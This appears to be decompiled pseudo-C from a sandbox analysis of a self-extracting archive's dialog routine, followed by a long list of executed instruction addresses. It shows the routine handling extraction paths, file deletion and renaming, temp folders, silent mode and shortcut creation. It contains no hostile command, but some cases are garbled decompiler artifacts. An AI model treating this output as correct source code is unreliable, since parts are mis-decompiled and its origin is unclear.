								E013A6FA3(_t302 - 0x3c84);
								_push(_t293);
								_t286 = _t302 - 0x8c8c;
								_t238 = E013AA1F9(_t302 - 0x8c8c, _t291, _t302 - 0x3c84);
								__eflags = _t238;
								if(_t238 == 0) {
									L28:
									 *(_t302 - 4) =  *(_t302 - 4) | 0xffffffff;
									E013AA182(_t302 - 0x8c8c);
									goto L167;
								} else {
									goto L15;
									L16:
									E013AB150(_t286, __eflags, _t302 - 0x7c84, _t302 - 0x103c, _t299);
									E013AAE45(__eflags, _t302 - 0x103c, _t299);
									_t301 = E013C20A3(_t302 - 0x7c84);
									__eflags = _t301 - 4;
									if(_t301 < 4) {
										L18:
										_t266 = E013AB57E(_t302 - 0x5c84);
										__eflags = _t266;
										if(_t266 != 0) {
											goto L28;
										}
										L19:
										_t268 = E013C20A3(_t302 - 0x3c84);
										__eflags = 0;
										 *((short*)(_t302 + _t268 * 2 - 0x3c82)) = 0;
										E013BDE40(_t293, _t302 - 0x3c, _t293, 0x1e);
										_t304 = _t304 + 0x10;
										 *((intOrPtr*)(_t302 - 0x38)) = 3;
										_push(0x14);
										_pop(_t271);
										 *((short*)(_t302 - 0x2c)) = _t271;
										 *((intOrPtr*)(_t302 - 0x34)) = _t302 - 0x3c84;
										_push(_t302 - 0x3c);
										 *0x13daa54();
										goto L20;
									}
									_t276 = E013C20A3(_t302 - 0x103c);
									__eflags = _t301 - _t276;
									if(_t301 > _t276) {
										goto L19;
									}
									goto L18;
									L20:
									_t243 = GetFileAttributesW(_t302 - 0x3c84);
									__eflags = _t243 - 0xffffffff;
									if(_t243 == 0xffffffff) {
										L27:
										_push(_t293);
										_t286 = _t302 - 0x8c8c;
										_t245 = E013AA1F9(_t302 - 0x8c8c, _t291, _t302 - 0x3c84);
										__eflags = _t245;
										if(_t245 != 0) {
											_t299 = 0x800;
											L15:
											SetFileAttributesW(_t302 - 0x3c84, _t293);
											__eflags =  *((char*)(_t302 - 0x2c78));
											if(__eflags == 0) {
												goto L20;
											}
											goto L16;
										}
										goto L28;
									}
									_t247 = DeleteFileW(_t302 - 0x3c84);
									__eflags = _t247;
									if(_t247 != 0) {
										goto L27;
									} else {
										_t300 = _t293;
										_push(_t293);
										goto L24;
										L24:
										E013A3F2B(_t302 - 0x103c, 0x800, L"%s.%d.tmp", _t302 - 0x3c84);
										_t304 = _t304 + 0x14;
										_t252 = GetFileAttributesW(_t302 - 0x103c);
										__eflags = _t252 - 0xffffffff;
										if(_t252 != 0xffffffff) {
											_t300 = _t300 + 1;
											__eflags = _t300;
											_push(_t300);
											goto L24;
										} else {
											_t255 = MoveFileW(_t302 - 0x3c84, _t302 - 0x103c);
											__eflags = _t255;
											if(_t255 != 0) {
												MoveFileExW(_t302 - 0x103c, _t293, 4);
											}
											goto L27;
										}
									}
								}
							case 1:
								__eflags = __ebx;
								if(__ebx == 0) {
									__eax = E013C20A3(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0x13f792c);
									__eax = E013C20CE(__ecx, __edx);
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax != 0) {
										 *0x13f792c = __eax;
										__eflags = __bl;
										if(__bl != 0) {
											__ecx = 0;
											__eflags = 0;
											 *__eax = __cx;
										}
										__eax = E013C4644(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags = __bh;
									if(__bh == 0) {
										__eax = L013C20BE(__esi);
									}
								}
								goto L167;
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
								}
								goto L167;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L167;
								}
								__eflags =  *0x13e412a - __di;
								if( *0x13e412a != __di) {
									goto L167;
								}
								__eax = 0;
								__edi = __ebp - 0x5c84;
								_push(0x22);
								 *(__ebp - 0x103c) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x5c84) - __ax;
								if( *(__ebp - 0x5c84) == __ax) {
									__edi = __ebp - 0x5c82;
								}
								__eax = E013C20A3(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L167;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										L54:
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L66:
											__ebp - 0x103c = E013AF160(__ebp - 0x103c, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L67:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x103c;
											__eax = E013C02BB(__ebp - 0x103c, __ebp - 0x103c);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
												if( *((intOrPtr*)(__eax + 2)) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x103c;
											__edi = 0x13e412a;
											E013AF160(0x13e412a, __ebp - 0x103c, __esi) = __ebp - 0x103c;
											__eax = E013B9591(__ebp - 0x103c, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
											__ebx =  *0x13daad0;
											__eax = SendMessageW(__esi, 0x143, __ebx, 0x13e412a); // executed
											__eax = __ebp - 0x103c;
											__eax = E013C20D9(__ebp - 0x103c, 0x13e412a, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x103c = 0;
												__eax = SendMessageW(__esi, 0x143, 0, __ebp - 0x103c);
											}
											goto L167;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L57:
											__eax = __ebp - 0x18;
											__ebx = 0;
											_push(__ebp - 0x18);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0x13daa08();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x103c;
												_push(__ebp - 0x103c);
												__eax = __ebp - 0x1c;
												_push(__ebp - 0x1c);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x18));
												__eax =  *0x13daa04();
												_push( *(__ebp - 0x18));
												 *0x13da9e4() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x103c) = __cx;
											}
											__eflags =  *(__ebp - 0x103c) - __bx;
											if( *(__ebp - 0x103c) != __bx) {
												__eax = __ebp - 0x103c;
												__eax = E013C20A3(__ebp - 0x103c);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x103c = E013AF138(__eflags, __ebp - 0x103c, 0x13d058c, __esi);
												}
											}
											__esi = E013C20A3(__edi);
											__eax = __ebp - 0x103c;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x103c = E013AF138(__eflags, __ebp - 0x103c, __edi, 0x800);
											}
											goto L67;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L66;
										}
										goto L57;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L54;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L167;
									} else {
										__ebp - 0x103c = E013AF160(__ebp - 0x103c, __edi, 0x800);
										goto L67;
									}
								}
							case 4:
								__eflags =  *0x13e4124 - 1;
								__eflags = __eax - 0x13e4124;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__ebx + 6) & __bl;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x13e20fa = __cl;
									 *0x13e20fb = 1;
									goto L167;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x13e20fa = __cl;
									L83:
									 *0x13e20fb = __cl;
									goto L167;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L167;
								}
								 *0x13e20fa = 1;
								goto L83;
							case 6:
								__eflags = __ebx - 4;
								if(__ebx != 4) {
									goto L94;
								}
								__eax = __ebp - 0x5c84;
								__eax = E013C20D9(__ebp - 0x5c84, __eax, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(__edi);
								goto L93;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									L115:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0x13e4124;
										if( *0x13e4124 == 0) {
											 *0x13e4124 = 2;
										}
										 *0x13e3120 = 1;
									}
									goto L167;
								}
								__eax = __ebp - 0x7c84;
								__edi = 0x800;
								GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
								E013AAE45(__eflags, __ebp - 0x7c84, 0x800) = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0x13da14c);
									__ebp - 0x7c84 = E013A3F2B(0x13e3122, __edi, L"%s%s%u", __ebp - 0x7c84);
									__eax = E013A9E4F(0x13e3122);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x13e3122);
								__eflags =  *(__ebp - 0x5c84);
								if( *(__ebp - 0x5c84) == 0) {
									goto L167;
								}
								__eflags =  *0x13f0822;
								if( *0x13f0822 != 0) {
									goto L167;
								}
								__eax = 0;
								 *(__ebp - 0x143c) = __ax;
								__eax = __ebp - 0x5c84;
								_push(0x2c);
								_push(__ebp - 0x5c84);
								__eax = E013C00DA(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L111:
									__eflags =  *(__ebp - 0x143c);
									if( *(__ebp - 0x143c) == 0) {
										__ebp - 0x1bc8c = __ebp - 0x5c84;
										E013AF160(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
										__ebp - 0x143c = E013AF160(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
									}
									__ebp - 0x5c84 = E013B91E4(__ebp - 0x5c84);
									__eax = 0;
									 *(__ebp - 0x4c84) = __ax;
									__ebp - 0x143c = __ebp - 0x5c84;
									__eax = E013B8CCA( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L167;
									} else {
										__eax = 0;
										__eflags = 0;
										 *0x13e20ff = 1;
										 *0x13e3122 = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L115;
									}
								}
								__edx = 0;
								__esi = 0;
								__eflags =  *(__ebp - 0x5c84) - __dx;
								if( *(__ebp - 0x5c84) == __dx) {
									goto L111;
								}
								__ecx = 0;
								__eax = __ebp - 0x5c84;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__esi =  &(__esi->i);
									__eax = __ebp - 0x5c84;
									__ecx = __esi + __esi;
									__eax = __ebp - 0x5c84 + __ecx;
									__eflags =  *__eax - __dx;
									if( *__eax != __dx) {
										continue;
									}
									goto L111;
								}
								__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
								__ebp - 0x143c = E013AF160(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x5c84) = __ax;
								goto L111;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x5c84) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x5c84;
										 *0x13f893c = E013C58F7(__ebx, __ebp - 0x5c84);
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0x13f8938 = E013B9843(__ecx, __edx, __eflags);
								}
								 *0x13f0823 = 1;
								goto L167;
							case 9:
								__eflags = __ebx - 5;
								if(__ebx != 5) {
									L94:
									 *0x13f8940 = 1;
									goto L167;
								}
								_push(1);
								L93:
								__eax = __ebp - 0x5c84;
								_push(__ebp - 0x5c84);
								_push( *(__ebp + 8));
								__eax = E013BB9A9();
								goto L94;
							case 0xa:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L167;
								}
								__eax = 0;
								 *(__ebp - 0x2c3c) = __ax;
								__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
								__eax = E013C3A84( *(__ebp - 0x1bc8c) & 0x0000ffff);
								_push(0x800);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x13f582a);
									__eax = __ebp - 0x2c3c;
									_push(__ebp - 0x2c3c);
									__eax = E013AF160();
									 *(__ebp - 0x14) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2c3c;
									if(__eflags == 0) {
										_push(0x13f482a);
										_push(__eax);
										__eax = E013AF160();
										 *(__ebp - 0x14) = 7;
									} else {
										_push(0x13f682a);
										_push(__eax);
										__eax = E013AF160();
										 *(__ebp - 0x14) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0x9c8c) = __ax;
								 *(__ebp - 0x1c3c) = __ax;
								__ebp - 0x19c8c = __ebp - 0x6c84;
								__eax = E013C3557(__ebp - 0x6c84, __ebp - 0x19c8c);
								_pop(__ecx);
								_pop(__ecx);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x6c84) - __bx;
								if( *(__ebp - 0x6c84) != __bx) {
									__ebp - 0x6c84 = E013A9E4F(__ebp - 0x6c84);
									__eflags = __al;
									if(__al != 0) {
										goto L152;
									}
									__ebx = __edi;
									__esi = __ebp - 0x6c84;
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) == __bx) {
										goto L152;
									}
									_push(0x20);
									_pop(__ecx);
									do {
										__eax = __esi->i & 0x0000ffff;
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L140:
											__edi = __eax;
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x6c84 = E013A9E4F(__ebp - 0x6c84);
											__eflags = __al;
											if(__al == 0) {
												__esi->i = __di;
												L148:
												_push(0x20);
												_pop(__ecx);
												__edi = 0;
												__eflags = 0;
												goto L149;
											}
											_push(0x2f);
											_pop(__eax);
											__ebx = __esi;
											__eflags = __di - __ax;
											if(__di != __ax) {
												_push(0x20);
												_pop(__eax);
												do {
													__esi =  &(__esi->i);
													__eflags = __esi->i - __ax;
												} while (__esi->i == __ax);
												_push(__esi);
												__eax = __ebp - 0x1c3c;
												L146:
												_push(__eax);
												__eax = E013C3557();
												_pop(__ecx);
												_pop(__ecx);
												 *__ebx = __di;
												goto L148;
											}
											 *(__ebp - 0x1c3c) = __ax;
											__eax =  &(__esi->i);
											_push( &(__esi->i));
											__eax = __ebp - 0x1c3a;
											goto L146;
										}
										_push(0x2f);
										_pop(__edx);
										__eflags = __ax - __dx;
										if(__ax != __dx) {
											goto L149;
										}
										goto L140;
										L149:
										__esi =  &(__esi->i);
										__eflags = __esi->i - __di;
									} while (__esi->i != __di);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										__eflags = 0;
										 *__ebx = __ax;
									}
									goto L152;
								} else {
									__ebp - 0x19c8a = __ebp - 0x6c84;
									E013C3557(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
									_push(__ebx);
									_push(__ebp - 0x6c82);
									__eax = E013C00DA(__ecx);
									__esp = __esp + 0x10;
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1c3c = E013C3557(__ebp - 0x1c3c, __ebp - 0x1c3c);
										_pop(__ecx);
										_pop(__ecx);
									}
									L152:
									__eflags =  *(__ebp - 0x11c8c);
									__ebx = 0x800;
									if( *(__ebp - 0x11c8c) != 0) {
										_push(0x800);
										__eax = __ebp - 0x9c8c;
										_push(__ebp - 0x9c8c);
										__eax = __ebp - 0x11c8c;
										_push(__ebp - 0x11c8c);
										__eax = E013AAE70();
									}
									_push(__ebx);
									__eax = __ebp - 0xbc8c;
									_push(__ebp - 0xbc8c);
									__eax = __ebp - 0x6c84;
									_push(__ebp - 0x6c84);
									__eax = E013AAE70();
									__eflags =  *(__ebp - 0x2c3c);
									if(__eflags == 0) {
										__ebp - 0x2c3c = E013B97E3(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
									}
									__ebp - 0x2c3c = E013AAE45(__eflags, __ebp - 0x2c3c, __ebx);
									__eflags =  *((short*)(__ebp - 0x17c8c));
									if(__eflags != 0) {
										__ebp - 0x17c8c = __ebp - 0x2c3c;
										E013AF138(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
										__eax = E013AAE45(__eflags, __ebp - 0x2c3c, __ebx);
									}
									__ebp - 0x2c3c = __ebp - 0xcc8c;
									__eax = E013C3557(__ebp - 0xcc8c, __ebp - 0x2c3c);
									__eflags =  *(__ebp - 0x13c8c);
									__eax = __ebp - 0x13c8c;
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										__eax = __ebp - 0x19c8c;
									}
									__ebp - 0x2c3c = E013AF138(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
									__eax = __ebp - 0x2c3c;
									__eflags = E013AB0EC(__ebp - 0x2c3c);
									if(__eflags == 0) {
										L162:
										__ebp - 0x2c3c = E013AF138(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
										goto L163;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L163:
											_push(1);
											__eax = __ebp - 0x2c3c;
											_push(__ebp - 0x2c3c);
											E013A9D1E(__ecx, __ebp) = __ebp - 0xbc8c;
											__ebp - 0xac8c = E013C3557(__ebp - 0xac8c, __ebp - 0xbc8c);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0xac8c = E013AB926(__eflags, __ebp - 0xac8c);
											__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
											__eax = __ebp - 0x1c3c;
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
											__edx = __ebp - 0x9c8c;
											__esi = __ebp - 0xac8c;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
											 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
											asm("sbb eax, eax");
											__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
											 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
											__eax = __ebp - 0x15c8c;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
											E013B92D6(__ebp - 0x15c8c) = __ebp - 0x2c3c;
											__ebp - 0xbc8c = E013B89E5(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
											__eflags =  *(__ebp - 0xcc8c);
											if( *(__ebp - 0xcc8c) != 0) {
												_push(__edi);
												__eax = __ebp - 0xcc8c;
												_push(__ebp - 0xcc8c);
												_push(5);
												_push(0x1000);
												__eax =  *0x13daa58();
											}
											goto L167;
										}
										goto L162;
									}
								}
							case 0xb:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0x13e4128 = 1;
								}
								goto L167;
							case 0xc:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eax = E013C3A84( *(__ebp - 0x5c84) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x13e20fc = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x13e20fd = 1;
									} else {
										__eax = 0;
										 *0x13e20fc = __al;
										 *0x13e20fd = __al;
									}
								}
								goto L167;
							case 0xd:
								 *0x13f8941 = 1;
								__eax = __eax + 0x13f8941;
								_t112 = __esi + 0x39;
								 *_t112 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t112;
								__ebp = 0xffffa37c;
								if( *_t112 != 0) {
									_t114 = __ebp - 0x5c84; // 0xffff46f8
									__eax = _t114;
									_push(_t114);
									 *0x13da150 = E013B0AF5();
								}
								goto L167;
						}
						L4:
						_t220 = E013B93B9(_t220, _t296);
						_t296 = _t296 + 0x2000;
						_t293 = _t293 - 1;
						if(_t293 != 0) {
							goto L4;
						} else {
							_t297 = _t293;
							goto L6;
						}
						L167:
						_push(0x1000);
						_t205 = _t302 - 0xe; // 0xffffa36e
						_t206 = _t302 - 0xd; // 0xffffa36f
						_t207 = _t302 - 0x5c84; // 0xffff46f8
						_t208 = _t302 - 0xfc8c; // 0xfffea6f0
						_push( *((intOrPtr*)(_t302 + 0xc)));
						_t215 = E013B96EB();
						_t278 =  *((intOrPtr*)(_t302 + 0x10));
						 *((intOrPtr*)(_t302 + 0xc)) = _t215;
					} while (_t215 != 0);
				}
			}

0x013baa44
0x013baa49
0x013baa4e
0x013baa53
0x013baa5c
0x013bb644
0x013bb647
0x013bb651
0x013bb651
0x013baa62
0x013baa6a
0x013baa6e
0x013baa75
0x013baa7c
0x013baa7d
0x013baa80
0x013baa87
0x013baa8c
0x013baa93
0x013baa98
0x013baa9a
0x013baaa0
0x013baaa6
0x013baaa6
0x00000000
0x013baabb
0x013baad2
0x013baad6
0x00000000
0x013baad8
0x00000000
0x013baad8
0x013baad6
0x013baae0
0x00000000
0x00000000
0x013baae6
0x00000000
0x013baaed
0x013baaf0
0x00000000
0x00000000
0x013baaf6
0x013bab03
0x013bab29
0x013bab34
0x013bab3e
0x013bab49
0x013bab4e
0x013bab56
0x013bab5c
0x013bab61
0x013bab63
0x013bacc8
0x013bacc8
0x013bacd2
0x00000000
0x013bab69
0x013bab6f
0x013bab91
0x013baba0
0x013babad
0x013babbe
0x013babc1
0x013babc4
0x013babd7
0x013babde
0x013babe3
0x013babe5
0x00000000
0x00000000
0x013babeb
0x013babf2
0x013babf7
0x013babfc
0x013bac08
0x013bac0d
0x013bac10
0x013bac17
0x013bac19
0x013bac1a
0x013bac24
0x013bac2a
0x013bac2b
0x00000000
0x013bac2b
0x013babcd
0x013babd3
0x013babd5
0x00000000
0x00000000
0x00000000
0x013bac31
0x013bac38
0x013bac3a
0x013bac3d
0x013bacad
0x013bacad
0x013bacb5
0x013bacbb
0x013bacc0
0x013bacc2
0x013bab71
0x013bab76
0x013bab7e
0x013bab84
0x013bab8b
0x00000000
0x00000000
0x00000000
0x013bab8b
0x00000000
0x013bacc2
0x013bac46
0x013bac4c
0x013bac4e
0x00000000
0x013bac50
0x013bac50
0x013bac52
0x013bac53
0x013bac57
0x013bac6f
0x013bac74
0x013bac7e
0x013bac80
0x013bac83
0x013bac55
0x013bac55
0x013bac56
0x00000000
0x013bac85
0x013bac93
0x013bac99
0x013bac9b
0x013baca7
0x013baca7
0x00000000
0x013bac9b
0x013bac83
0x013bac4e
0x00000000
0x013bacdc
0x013bacde
0x013bad31
0x013bad36
0x013bad3f
0x013bad40
0x013bad46
0x013bad4b
0x013bad4e
0x013bad50
0x013bad52
0x013bad57
0x013bad59
0x013bad5b
0x013bad5b
0x013bad5d
0x013bad5d
0x013bad62
0x013bad67
0x013bad68
0x013bad68
0x013bad69
0x013bad6b
0x013bad72
0x013bad77
0x013bad6b
0x00000000
0x00000000
0x013bad7d
0x013bad7f
0x013bad8f
0x013bad8f
0x00000000
0x00000000
0x013bad9a
0x013bad9c
0x00000000
0x00000000
0x013bada2
0x013bada9
0x00000000
0x00000000
0x013badaf
0x013badb1
0x013badb7
0x013badb9
0x013badc0
0x013badc1
0x013badc8
0x013badca
0x013badca
0x013badd1
0x013badd6
0x013baddc
0x013badde
0x00000000
0x013bade4
0x013bade4
0x013bade7
0x013bade9
0x013badea
0x013baded
0x013bae16
0x013bae16
0x013bae19
0x013baefe
0x013baf07
0x013baf0c
0x013baf0c
0x013baf0e
0x013baf0e
0x013baf10
0x013baf12
0x013baf19
0x013baf1e
0x013baf1f
0x013baf20
0x013baf22
0x013baf24
0x013baf28
0x013baf2a
0x013baf2a
0x013baf2c
0x013baf2c
0x013baf28
0x013baf30
0x013baf36
0x013baf43
0x013baf4a
0x013baf5a
0x013baf64
0x013baf6c
0x013baf78
0x013baf7a
0x013baf82
0x013baf87
0x013baf88
0x013baf89
0x013baf8b
0x013baf98
0x013bafa1
0x013bafa1
0x00000000
0x013baf8b
0x013bae1f
0x013bae22
0x013bae2f
0x013bae2f
0x013bae32
0x013bae34
0x013bae35
0x013bae37
0x013bae38
0x013bae3d
0x013bae42
0x013bae48
0x013bae4a
0x013bae4c
0x013bae4f
0x013bae56
0x013bae57
0x013bae5d
0x013bae5e
0x013bae61
0x013bae62
0x013bae63
0x013bae68
0x013bae6b
0x013bae71
0x013bae7a
0x013bae7d
0x013bae82
0x013bae84
0x013bae86
0x013bae88
0x013bae88
0x013bae8a
0x013bae8a
0x013bae8c
0x013bae8c
0x013bae94
0x013bae9b
0x013bae9d
0x013baea4
0x013baeaa
0x013baeac
0x013baead
0x013baeb5
0x013baec4
0x013baec4
0x013baeb5
0x013baecf
0x013baed1
0x013baee0
0x013baee6
0x013baeec
0x013baef7
0x013baef7
0x00000000
0x013baeec
0x013bae24
0x013bae29
0x00000000
0x00000000
0x00000000
0x013bae29
0x013badef
0x013badf3
0x00000000
0x00000000
0x013badf5
0x013badf8
0x013badfa
0x013badfd
0x00000000
0x013bae03
0x013bae0c
0x00000000
0x013bae0c
0x013badfd
0x00000000
0x013bafa8
0x013bafa9
0x013bafae
0x013bafb0
0x013bafb3
0x013bafb3
0x00000000
0x013bafe9
0x013baff0
0x013baff2
0x013baff2
0x013baff4
0x013bb023
0x013bb023
0x013bb029
0x00000000
0x013bb029
0x013baff6
0x013baff6
0x013baff9
0x013bb012
0x013bb018
0x013bb018
0x00000000
0x013bb018
0x013baffb
0x013baffb
0x013baffe
0x00000000
0x00000000
0x013bb000
0x013bb000
0x013bb003
0x00000000
0x00000000
0x013bb009
0x00000000
0x00000000
0x013bb076
0x013bb079
0x00000000
0x00000000
0x013bb07b
0x013bb087
0x013bb08c
0x013bb08d
0x013bb08e
0x013bb090
0x00000000
0x00000000
0x013bb092
0x00000000
0x00000000
0x013bb0d8
0x013bb0db
0x013bb25c
0x013bb25c
0x013bb25f
0x013bb265
0x013bb26c
0x013bb26e
0x013bb26e
0x013bb278
0x013bb278
0x00000000
0x013bb25f
0x013bb0e1
0x013bb0e7
0x013bb0f5
0x013bb101
0x013bb103
0x013bb105
0x013bb10a
0x013bb10a
0x013bb122
0x013bb12f
0x013bb134
0x013bb136
0x00000000
0x00000000
0x013bb108
0x013bb108
0x013bb109
0x013bb109
0x013bb142
0x013bb148
0x013bb150
0x00000000
0x00000000
0x013bb156
0x013bb15d
0x00000000
0x00000000
0x013bb163
0x013bb165
0x013bb16c
0x013bb172
0x013bb174
0x013bb175
0x013bb17a
0x013bb17b
0x013bb17c
0x013bb17e
0x013bb1d2
0x013bb1d2
0x013bb1da
0x013bb1e8
0x013bb1f9
0x013bb207
0x013bb207
0x013bb213
0x013bb218
0x013bb21a
0x013bb22a
0x013bb234
0x013bb239
0x013bb23c
0x00000000
0x013bb242
0x013bb247
0x013bb247
0x013bb249
0x013bb250
0x013bb256
0x00000000
0x013bb256
0x013bb23c
0x013bb180
0x013bb182
0x013bb184
0x013bb18b
0x00000000
0x00000000
0x013bb18d
0x013bb18f
0x013bb195
0x013bb195
0x013bb199
0x00000000
0x00000000
0x013bb19b
0x013bb19c
0x013bb1a2
0x013bb1a5
0x013bb1a7
0x013bb1aa
0x00000000
0x00000000
0x00000000
0x013bb1ac
0x013bb1b9
0x013bb1c3
0x013bb1c8
0x013bb1c8
0x013bb1ca
0x00000000
0x00000000
0x013bb284
0x013bb287
0x013bb289
0x013bb290
0x013bb292
0x013bb29f
0x013bb29f
0x013bb2a4
0x013bb2a7
0x013bb2ad
0x013bb2ad
0x013bb2b2
0x00000000
0x00000000
0x013bb2be
0x013bb2c1
0x013bb0a2
0x013bb0a2
0x00000000
0x013bb0a2
0x013bb2c7
0x013bb093
0x013bb093
0x013bb099
0x013bb09a
0x013bb09d
0x00000000
0x00000000
0x013bb2ce
0x013bb2d1
0x00000000
0x00000000
0x013bb2d7
0x013bb2d9
0x013bb2e0
0x013bb2e8
0x013bb2ee
0x013bb2f3
0x013bb2f6
0x013bb32b
0x013bb330
0x013bb336
0x013bb337
0x013bb33c
0x013bb2f8
0x013bb2f8
0x013bb2fb
